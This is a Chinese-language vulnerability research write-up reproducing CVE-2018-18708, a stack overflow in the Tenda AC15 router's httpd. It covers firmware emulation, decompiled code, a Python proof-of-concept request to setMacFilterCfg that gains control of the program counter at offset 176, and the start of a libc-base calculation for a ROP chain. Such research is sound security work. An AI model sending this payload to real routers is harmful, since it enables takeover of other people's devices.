CVE-2018-18708

漏洞报告

漏洞基本信息

项目 内容
漏洞名称 多款Tenda产品httpd 缓冲区错误漏洞
厂商 腾达 (Tenda)
CNNVD编号 CNNVD-201810-1339
危害等级 高危
CVE编号 CVE-2018-18708
漏洞类型
收录时间 2018-10-30
更新时间 2018-10-31

固件下载地址: AC15升级软件 - 腾达Tenda官方网站

环境搭建

我们下载得到的是一个zip文件,解压,然后binwalk获取固件,先查找一下发现有httpd程序,dhttpd是开发板,然后是看看init,发现有个启动必须项,这个是启动路由器会执行的,但是我们启动的只是单独的web服务,所以要记得补上cp -rf /webroot_ro/* webroot/,不然可能会出现问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
[18:10:57] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$ find . -name "*httpd*"
./bin/dhttpd
./bin/httpd
[18:11:06] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$ find . -name "*init*"
./init
./webroot_ro/goform/initSchedWifi.txt
./etc_ro/inittab
./etc_ro/init.d
./etc_ro/nginx/conf/nginx_init.sh
./sbin/init
[18:11:16] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$ cat ./etc_ro/inittab
::sysinit:/etc_ro/init.d/rcS
ttyS0::respawn:/sbin/sulogin
::ctrlaltdel:/bin/umount -a -r
::shutdown:/usr/sbin/wl radio off
::shutdown:/usr/sbin/wl -i eth2 radio off
[18:11:51] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$ cat ./etc_ro/init.d/rcS
#! /bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin/
export PATH
mount -t ramfs none /var/
mkdir -p /var/etc
mkdir -p /var/media
mkdir -p /var/webroot
mkdir -p /var/etc/iproute
mkdir -p /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a
mount -t ramfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
mkdir /var/run
echo '/sbin/mdev' > /proc/sys/kernel/hotplug
echo 'wds*.* 0:0 0660 */etc/wds.sh $ACTION $INTERFACE' > /etc/mdev.conf
echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH' >> /etc/mdev.conf
echo '-sd[a-z] 0:0 0660 $/usr/sbin/usb_down.sh $MDEV $DEVPATH'>> /etc/mdev.conf
echo 'sd[a-z] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH'>> /etc/mdev.conf
echo '.* 0:0 0660 */usr/sbin/IppPrint.sh $ACTION $INTERFACE'>> /etc/mdev.conf
mkdir -p /var/ppp
insmod /lib/modules/fastnat.ko
insmod /lib/modules/bm.ko
insmod /lib/modules/mac_filter.ko
insmod /lib/modules/privilege_ip.ko
insmod /lib/modules/qos.ko
insmod /lib/modules/url_filter.ko
insmod /lib/modules/loadbalance.ko
echo "0 0 0 0">/proc/sys/kernel/printk
insmod /lib/modules/jnl.ko
insmod /lib/modules/ufsd.ko
insmod /lib/modules/fastnat_configure.ko
chmod +x /etc/mdev.conf
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
tendaupload &
if [ -e /etc/nginx/conf/nginx_init.sh ]; then
sh /etc/nginx/conf/nginx_init.sh
fi
moniter &
telnetd &
[18:12:01] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$

然后是先将qemu-arm-static移到当前目录,启动,发现lib出问题了,设置一下主目录就可以了,但是我们发现程序卡在了这个位置,gdb连接一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.bin.extracted/squashfs-root
$ cp $(which qemu-arm-static) .
[18:20:28] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$ ./qemu-arm-static ./bin/httpd
/lib/ld-uClibc.so.0: Invalid ELF image for this architecture
[18:21:09] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$ sudo chroot ./ ./qemu-arm-static ./bin/httpd
[sudo] yy 的密码:
对不起,请重试。
[sudo] yy 的密码:
init_core_dump 1816: rlim_cur = 0, rlim_max = -1
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880


Yes:

****** WeLoveLinux******

Welcome to ...


找一下busybox然后看一下架构,发现是小端序arm架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[18:25:39] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$ readelf -h ./bin/busybox
ELF 头:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
类别: ELF32
数据: 2 补码,小端序 (little endian)
版本: 1 (current)
OS/ABI: UNIX - System V
ABI 版本: 0
类型: EXEC (可执行文件)
系统架构: ARM
版本: 0x1
入口点地址: 0xbf80
程序头起点: 52 (bytes into file)
Start of section headers: 380400 (bytes into file)
标志: 0x5000002, Version5 EABI, <unknown>
本头的大小: 52 (字节)
程序头大小: 32 (字节)
Number of program headers: 7
节头大小: 40 (字节)
节头数量: 24
字符串表索引节头: 23
[18:26:12] ~/桌面/固件/Tenda AC15(2018)/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
$

然后是gdb-multiarch连接,记得设置架构之类的,target连接发现ni下去程序会卡在一处地方一直做循环

然后IDA打开看看,直接寻找welcome字符的位置,发现是作用在sub_2E420,打开看看

sub_2E420

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
int __fastcall sub_2E420(int a1, int a2)
{
void *v2; // r0
int v3; // r0
unsigned int v4; // r0
int LanIfName; // r0
in_addr_t v7; // r0
__pid_t v8; // r0
int v9; // r0
int v10; // r0
int v11; // r0
int v12; // r0
int v13; // r0
_BYTE v17[80]; // [sp+10h] [bp-124h] BYREF
int v18; // [sp+60h] [bp-D4h] BYREF
_DWORD v19[3]; // [sp+64h] [bp-D0h] BYREF
_BYTE v20[16]; // [sp+70h] [bp-C4h] BYREF
_BYTE v21[24]; // [sp+80h] [bp-B4h] BYREF
_DWORD dest[2]; // [sp+98h] [bp-9Ch] BYREF
char s[128]; // [sp+A0h] [bp-94h] BYREF
__pid_t v24; // [sp+120h] [bp-14h]
int v25; // [sp+124h] [bp-10h]

v2 = memset(s, 0, sizeof(s));
dest[0] = 0;
dest[1] = 0;
memset(v21, 0, sizeof(v21));
memset(v20, 0, sizeof(v20));
v18 = 0;
init_core_dump(v2);
v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
sub_30A5C(v3);
while ( check_network(v21) <= 0 )
sleep(1u);
v4 = sleep(1u);
if ( ConnectCfm(v4) )
{
sub_103D0(0, 61440, 1);
memset(s, 0, sizeof(s));
if ( !GetValue("lan.webiplansslen", s) )
strcpy(s, "0");
sslenable = atoi(s);
if ( !GetValue("lan.webport", s) )
strcpy(s, "80");
if ( !GetValue("lan.webipen", dest) )
strcpy((char *)dest, "0");
if ( !strcmp((const char *)dest, "1") )
{
sslport = atoi(s);
port = atoi(s);
}
LanIfName = getLanIfName();
if ( getIfIp(LanIfName, v20) < 0 )
{
GetValue("lan.ip", s);
strcpy(g_lan_ip, s);
memset(v17, 0, sizeof(v17));
if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] )
vos_strcpy(g_lan_ip, v17);
}
else
{
vos_strcpy(g_lan_ip, v20);
}
memset(v19, 0, 9u);
v7 = inet_addr(g_lan_ip);
v19[0] = LOBYTE(v19[0]) | (v7 << 8);
LOBYTE(v19[1]) = HIBYTE(v7);
tpi_talk_to_kernel(5, v19, &v18, 0, 0, 0, a2, a1);
sub_2ED58(1);
sub_2ED58(0);
v8 = getpid();
v9 = doSystemCmd("echo %d > %s", v8, "/etc/httpd.pid");
if ( sub_2E9EC(v9) >= 0 )
{
memset(&loginUserInfo, 0, 0x6Cu);
signal(15, (__sighandler_t)sub_2E1B8);
signal(9, (__sighandler_t)sub_2E1B8);
signal(14, (__sighandler_t)sub_2E240);
alarm(0x3Cu);
v25 = 0;
mallopt(-1, 0);
mallopt(-3, 2048);
v24 = getpid();
while ( !dword_101AA0 )
{
v10 = sub_1C2EC(-1, 1000);
if ( v10 > 0 )
v10 = sub_1C7E8(-1);
v11 = sub_11868(v10);
sub_2E060(v11);
if ( !(++v25 % 100) )
malloc_trim(0);
}
if ( sslenable )
{
v12 = sub_1F294();
}
else
{
v13 = sub_29704();
v12 = sub_1B774(v13);
}
sub_10550(v12);
return 0;
}
else
{
puts("main -> initWebs failed");
return -1;
}
}
else
{
printf("connect cfm failed!");
return 0;
}
}

发现问题出现在这里,keypatch改一下就好了

1776940846334

然后保存重新上传启动

1
2
3
sudo brctl addbr br0
sudo ifconfig br0 192.168.29.129/24
sudo chroot ./ ./qemu-arm-static ./bin/httpd

然后有个ip,打开浏览器,成功了

1776942464666 1776942509628

漏洞分析

漏洞报告说formSetMacFilterCfg是漏洞点,看一下

formSetMacFilterCfg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
int __fastcall formSetMacFilterCfg(int a1)
{
int v1; // r0
_DWORD v4[4]; // [sp+1Ch] [bp-210h] BYREF
_DWORD v5[4]; // [sp+2Ch] [bp-200h] BYREF
_DWORD v6[4]; // [sp+3Ch] [bp-1F0h] BYREF
_DWORD v7[4]; // [sp+4Ch] [bp-1E0h] BYREF
_DWORD s2[4]; // [sp+5Ch] [bp-1D0h] BYREF
char v9[128]; // [sp+6Ch] [bp-1C0h] BYREF
char s[256]; // [sp+ECh] [bp-140h] BYREF
_DWORD v11[8]; // [sp+1ECh] [bp-40h] BYREF
char v12; // [sp+20Fh] [bp-1Dh]
char v13; // [sp+210h] [bp-1Ch]
char v14; // [sp+211h] [bp-1Bh]
char v15; // [sp+212h] [bp-1Ah]
char v16; // [sp+213h] [bp-19h]
int v17; // [sp+214h] [bp-18h]
int v18; // [sp+218h] [bp-14h]
int v19; // [sp+21Ch] [bp-10h]

v18 = 0;
v17 = 0;
v19 = 0;
memset(v11, 0, sizeof(v11));
memset(s, 0, sizeof(s));
memset(v9, 0, sizeof(v9));
v18 = sub_2BA8C(a1, "macFilterType", &unk_F5124); #这个是为了获得macFilterType的参数
v19 = sub_C10D0(v18); #是进行某种验证,函数介绍在下面
if ( v19 )
{
memset(s2, 0, sizeof(s2));
if ( GetValue("cgi_debug", s2) && !strcmp("on", (const char *)s2) )
{
v16 = 2;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "formSetMacFilterCfg", 500, off_1018C4[0]);
printf("set mac filter mode error!\n\x1B[0m");
}
}
else #漏洞在这里,所以要返回0
{
v17 = sub_2BA8C(a1, "deviceList", &unk_F5124); #参数匹配
v19 = sub_C14DC(v18, v17); #传入数据,v18是macFilterType的,v19是deviceList,漏洞在这里
if ( v19 )
{
memset(v7, 0, sizeof(v7));
if ( GetValue("cgi_debug", v7) && !strcmp("on", (const char *)v7) )
{
v15 = 2;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "formSetMacFilterCfg", 508, off_1018C4[0]);
printf("set mac filter rules error!\n\x1B[0m");
}
}
else
{
sub_C7C04();
v1 = sub_C2AA0(v18);
if ( CommitCfm(v1) )
{
send_msg_to_netctrl(9, "op=5");
GetValue("wl2g.public.enable", v11);
if ( !strcmp("1", (const char *)v11) )
{
memset(v5, 0, sizeof(v5));
if ( GetValue("cgi_debug", v5) && !strcmp("on", (const char *)v5) )
{
v13 = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "formSetMacFilterCfg", 528, off_1018C0[0]);
printf("2.4G is enabled, sending msg to 2.4G wifi refresh!\n\x1B[0m");
}
snprintf(v9, 0x80u, "op=%d,wl_rate=%d", 11, 24);
send_msg_to_netctrl(19, v9);
}
GetValue("wl5g.public.enable", v11);
if ( !strcmp("1", (const char *)v11) )
{
memset(v4, 0, sizeof(v4));
if ( GetValue("cgi_debug", v4) && !strcmp("on", (const char *)v4) )
{
v12 = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "formSetMacFilterCfg", 535, off_1018C0[0]);
printf("5G is enabled, sending msg to 5G wifi refresh!\n\x1B[0m");
}
snprintf(v9, 0x80u, "op=%d,wl_rate=%d", 11, 5);
send_msg_to_netctrl(19, v9);
}
}
else
{
memset(v6, 0, sizeof(v6));
if ( GetValue("cgi_debug", v6) && !strcmp("on", (const char *)v6) )
{
v14 = 2;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "formSetMacFilterCfg", 519, off_1018C4[0]);
printf("cfm commit error!\n\x1B[0m");
}
v19 = 1;
}
}
}
snprintf(s, 0x100u, "{\"errCode\":%d}", v19);
return sub_9CCBC(a1, s);
}

sub_C10D0:就是要返回0使其进入到else函数部分,所以要将参数设置为white

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __fastcall sub_C10D0(const char *a1)	#a1->macFilterType参数
{
_DWORD v4[4]; // [sp+10h] [bp-44h] BYREF
_DWORD v5[4]; // [sp+20h] [bp-34h] BYREF
_DWORD s2[4]; // [sp+30h] [bp-24h] BYREF
char v7; // [sp+41h] [bp-13h]
char v8; // [sp+42h] [bp-12h]
char v9; // [sp+43h] [bp-11h]
const char *v10; // [sp+44h] [bp-10h]

v10 = 0;
memset(s2, 0, sizeof(s2));
if ( GetValue("cgi_debug", s2) && !strcmp("on", (const char *)s2) )
{ #如果有cgi_debug的话且匹配成功的话,会输出日志
v9 = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "set_macfilter_mode", 566, off_1018C0[0]);
printf("get mac filter mode == %s\n\x1B[0m", a1);
}
if ( *a1 ) #是否获得到参数
{
if ( !strcmp("black", a1) || !strcmp("white", a1) )#比较成功返回0
{
SetValue("macfilter.mode", a1);
if ( !strcmp("black", a1) )
v10 = "deny";
else #所以要将其设置为white
v10 = "allow";
SetValue("wl2g.ssid0.macmode", v10); #开启2g端口
SetValue("wl5g.ssid0.macmode", v10); #开启5g端口
return 0;
}
else
{
memset(v4, 0, sizeof(v4));
if ( GetValue("cgi_debug", v4) && !strcmp("on", (const char *)v4) )
{
v7 = 2;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "set_macfilter_mode", 575, off_1018C4[0]);
printf("got wrong mac filter mode: %s!\n\x1B[0m", a1);
}
return 2;
}
}
else
{
memset(v5, 0, sizeof(v5));
if ( GetValue("cgi_debug", v5) && !strcmp("on", (const char *)v5) )
{
v8 = 2;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "set_macfilter_mode", 569, off_1018C4[0]);
printf("got mac filter mode failed!\n\x1B[0m");
}
return 2;
}
}

sub_C14DC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __fastcall sub_C14DC(int a1, const char *a2)
{
_DWORD v5[4]; // [sp+14h] [bp-38h] BYREF
_DWORD s2[4]; // [sp+24h] [bp-28h] BYREF
char v7; // [sp+36h] [bp-16h]
char v8; // [sp+37h] [bp-15h]
char *v9; // [sp+38h] [bp-14h]
int v10; // [sp+3Ch] [bp-10h]

v10 = 1;
v9 = 0;
memset(s2, 0, sizeof(s2));
if ( GetValue((int)"cgi_debug", (int)s2) && !strcmp("on", (const char *)s2) )
{
v8 = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "set_macfilter_rules", 617, off_1018C0[0]);
printf("set macfilter rules\n\x1B[0m");
}
sub_C1BC4(a1);
if ( *a2 )
{
while ( 1 )
{
v9 = strchr(a2, 10);
if ( !v9 )
break;
*v9++ = 0;
sub_C17A0(a1, a2, v10);
a2 = v9;
++v10;
}
sub_C17A0(a1, a2, v10);
sub_C2760(a1, v10);
}
else
{
memset(v5, 0, sizeof(v5));
if ( GetValue((int)"cgi_debug", (int)v5) && !strcmp("on", (const char *)v5) )
{
v7 = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "set_macfilter_rules", 623, off_1018C0[0]);
printf("rule list is NULL!\n\x1B[0m");
}
}
return 0;
}

sub_C17A0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall sub_C17A0(const char *a1, const char *a2, int a3)
{
_DWORD v7[4]; // [sp+1Ch] [bp-1E0h] BYREF
_DWORD v8[4]; // [sp+2Ch] [bp-1D0h] BYREF
_DWORD s2[4]; // [sp+3Ch] [bp-1C0h] BYREF
char v10[128]; // [sp+4Ch] [bp-1B0h] BYREF
char s[128]; // [sp+CCh] [bp-130h] BYREF
char v12[176]; // [sp+14Ch] [bp-B0h] BYREF

memset(s, 0, sizeof(s));
memset(v10, 0, sizeof(v10));
memset(s2, 0, sizeof(s2));
if ( GetValue((int)"cgi_debug", (int)s2) && !strcmp("on", (const char *)s2) )
{
v12[163] = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "set_macfilter_rules_by_one", 667, off_1018C0[0]);
printf("set macfilter rules by one, source_rule == %s, index == %d\n\x1B[0m", a2, a3);
}
memset(v12, 0, 0xA0u);
sub_C24C0(a2, v12);
memset(v8, 0, sizeof(v8));
if ( GetValue((int)"cgi_debug", (int)v8) && !strcmp("on", (const char *)v8) )
{
v12[162] = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "set_macfilter_rules_by_one", 671, off_1018C0[0]);
printf("get rule%d: name == %s, mac == %s\n\x1B[0m", a3, &v12[32], v12);
}
snprintf(s, 0x80u, "macfilter.%s.list%d", a1, a3);
snprintf(v10, 0x80u, "%s", v12);
memset(v7, 0, sizeof(v7));
if ( GetValue((int)"cgi_debug", (int)v7) && !strcmp("on", (const char *)v7) )
{
v12[161] = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "set_macfilter_rules_by_one", 675, off_1018C0[0]);
printf("set rule: %s == %s\n\x1B[0m", s, v10);
}
SetValue((int)s, (int)v10);
if ( v12[32] )
sub_C6D58(&v12[32], v12);
return 0;
}

sub_C24C0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall sub_C24C0(const char *a1, char *a2)
{
_DWORD v6[4]; // [sp+10h] [bp-34h] BYREF
_DWORD s2[4]; // [sp+20h] [bp-24h] BYREF
char v8; // [sp+32h] [bp-12h]
char v9; // [sp+33h] [bp-11h]
char *src; // [sp+34h] [bp-10h]

src = strchr(a1, 13);
if ( src )
{
*src++ = 0;
memset(v6, 0, sizeof(v6));
if ( GetValue((int)"cgi_debug", (int)v6) && !strcmp("on", (const char *)v6) )
{
v9 = 1;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "parse_macfilter_rule", 807, off_1018C0[0]);
printf("parase rule: name == %s, mac == %s\n\x1B[0m", a1, src);
}
strcpy(a2 + 32, a1); #溢出位置
strcpy(a2, src);
return 0;
}
else
{
memset(s2, 0, sizeof(s2));
if ( GetValue((int)"cgi_debug", (int)s2) && !strcmp("on", (const char *)s2) )
{
v8 = 2;
printf("%s[%s:%s:%d] %s", off_1018C8[0], "cgi", "parse_macfilter_rule", 803, off_1018C4[0]);
printf("source_rule error: %s!\n\x1B[0m", a1);
}
return 2;
}
}

漏洞验证

简单地说,就是strcpy(a2 + 32, a1),a1->deviceList参数,a2+32->v12,所以我们的目的就是要让函数进入到这里执行这个片段,而我们一步步分析,很明显,两个条件,第一个是macFilterType=white,第二个就是大量的垃圾数据,但是记得加上“\r”(13),但是其实还有个隐藏的条件,因为当我的请求不带上cookies的话会被拒绝,这是AC6型号所不同的

poc:测试溢出大小版

1
2
3
4
5
6
import requests
from pwn import *
url = "http://192.168.29.129/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": b"\r"+ cyclic(500)}
response = requests.post(url=url,cookies=cookie,data=data)

也是成功了,发现溢出长度是176

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
───────────────────────[ DISASM / arm / set emulate on ]────────────────────────
Invalid address 0x62616174










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0xfffef6f8 ◂— rsbvs r6, r1, #0x4000001d /* 0x62616175 */
01:0004│ 0xfffef6fc ◂— rsbvs r6, r1, #0x8000001d /* 0x62616176 */
02:0008│ 0xfffef700 ◂— rsbvs r6, r1, #0xc000001d /* 0x62616177 */
03:000c│ 0xfffef704 ◂— rsbvs r6, r1, #120, #2 /* 0x62616178 */
04:0010│ 0xfffef708 ◂— rsbvs r6, r1, #0x4000001e /* 0x62616179 */
05:0014│ 0xfffef70c ◂— 0x6361617a ('zaac')
06:0018│ 0xfffef710 ◂— 0x63616162 ('baac')
07:001c│ 0xfffef714 ◂— 0x63616163 ('caac')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x62616174
────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616174
Finding cyclic pattern of 4 bytes: b'taab' (hex: 0x74616162)
Found at offset 176
pwndbg>

构造ROP链

计算偏移

正常漏洞这样子就结束了,但是可以试试看提权

但是我们直接看vmmap,发现没有是没有什么有用的数据

但是,我们知道程序是用libc.so.0

我们直接找strcmp函数的plt地址是0x3e010

1776949535386

然后设置断点,发现0xff5ca010是strcmp的地址,所以libc_base=0xff58c000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
pwndbg> c
Continuing.

Breakpoint 2, 0x0000f71c in strcmp@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────
*R0 0xfffefc28 ◂— 0x30 /* '0' */
*R1 0xdc6c0 ◂— 0x31 /* '1' */
*R2 0x2
*R3 0xdc6c0 ◂— 0x31 /* '1' */
R4 0xff3b8 —▸ 0xff270 ◂— 1
R5 0xfffefd54 —▸ 0xfffefe4e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
R6 0x1
R7 0xfffefe4e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
R8 0xec24 (_init) ◂— mov ip, sp /* 0xe1a0c00d */
R9 0x2e420 ◂— push {r4, fp, lr} /* 0xe92d4810 */
R10 0xfffefcc8 ◂— 0
R11 0xfffefcc4 —▸ 0xff5e5ed4 ◂— bl #0xff59f794 /* 0xebfee62e */
*R12 0xff460 (memcpy@got.plt) —▸ 0xff5c9f50 ◂— b #0xff5c9ac0 /* 0xeafffeda */
SP 0xfffefb90 ◂— 0
*PC 0xf71c (strcmp@plt) ◂— add ip, pc, #0, #12 /* 0xe28fc600 */
───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]───────────────────────────────────────────────────────────────────────
0xf71c <strcmp@plt> add ip, pc, #0, #12
0xf720 <strcmp@plt+4> add ip, ip, #240, #20
0xf724 <strcmp@plt+8> ldr pc, [ip, #0x3c]!
0xf728 <get_flash_type@plt> add ip, pc, #0, #12
0xf72c <get_flash_type@plt+4> add ip, ip, #240, #20
0xf730 <get_flash_type@plt+8> ldr pc, [ip, #0x34]!
0xf734 <init_core_dump@plt> add ip, pc, #0, #12
0xf738 <init_core_dump@plt+4> add ip, ip, #240, #20
0xf73c <init_core_dump@plt+8> ldr pc, [ip, #0x2c]!
0xf740 <tpi_arp_fence_clear@plt> add ip, pc, #0, #12
0xf744 <tpi_arp_fence_clear@plt+4> add ip, ip, #240, #20
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0xfffefb90 ◂— 0
01:0004│ 0xfffefb94 —▸ 0xff7e1000 ◂— 0x464c457f
02:0008│ 0xfffefb98 —▸ 0xfffefd54 —▸ 0xfffefe4e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
03:000c│ 0xfffefb9c ◂— 1
04:0010│ 0xfffefba0 —▸ 0xd004 ◂— cmnvc sb, #116, #6 /* 0x73795374; 'tSysToolDDNS' */
05:0014│ 0xfffefba4 —▸ 0xfffefd54 —▸ 0xfffefe4e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
06:0018│ 0xfffefba8 —▸ 0xff7e50eb ◂— strvc r6, [sp, #-0x46c]! /* 0x752d646c; 'ld-uClibc.so.0' */
07:001c│ 0xfffefbac —▸ 0xfffefd5c —▸ 0xfffefe5a ◂— svcmi #0x445553 /* 0x4f445553; 'SUDO_GID=1000' */
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 0xf71c strcmp@plt
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> s
0xff5ca010 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────
R0 0xfffefc28 ◂— 0x30 /* '0' */
R1 0xdc6c0 ◂— 0x31 /* '1' */
R2 0x2
R3 0xdc6c0 ◂— 0x31 /* '1' */
R4 0xff3b8 —▸ 0xff270 ◂— 1
R5 0xfffefd54 —▸ 0xfffefe4e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
R6 0x1
R7 0xfffefe4e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
R8 0xec24 (_init) ◂— mov ip, sp /* 0xe1a0c00d */
R9 0x2e420 ◂— push {r4, fp, lr} /* 0xe92d4810 */
R10 0xfffefcc8 ◂— 0
R11 0xfffefcc4 —▸ 0xff5e5ed4 ◂— bl #0xff59f794 /* 0xebfee62e */
*R12 0xff5ca010 ◂— ldrb r2, [r0], #1 /* 0xe4d02001 */
SP 0xfffefb90 ◂— 0
*PC 0xff5ca010 ◂— ldrb r2, [r0], #1 /* 0xe4d02001 */
───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]───────────────────────────────────────────────────────────────────────
0xff5ca010 ldrb r2, [r0], #1
0xff5ca014 ldrb r3, [r1], #1
0xff5ca018 cmp r2, #1
0xff5ca01c cmphs r2, r3
0xff5ca020 beq #0xff5ca010 <0xff5ca010>

0xff5ca010 ldrb r2, [r0], #1
0xff5ca014 ldrb r3, [r1], #1
0xff5ca018 cmp r2, #1
0xff5ca01c cmphs r2, r3
0xff5ca020 beq #0xff5ca010 <0xff5ca010>

0xff5ca010 ldrb r2, [r0], #1
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0xfffefb90 ◂— 0
01:0004│ 0xfffefb94 —▸ 0xff7e1000 ◂— 0x464c457f
02:0008│ 0xfffefb98 —▸ 0xfffefd54 —▸ 0xfffefe4e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
03:000c│ 0xfffefb9c ◂— 1
04:0010│ 0xfffefba0 —▸ 0xd004 ◂— cmnvc sb, #116, #6 /* 0x73795374; 'tSysToolDDNS' */
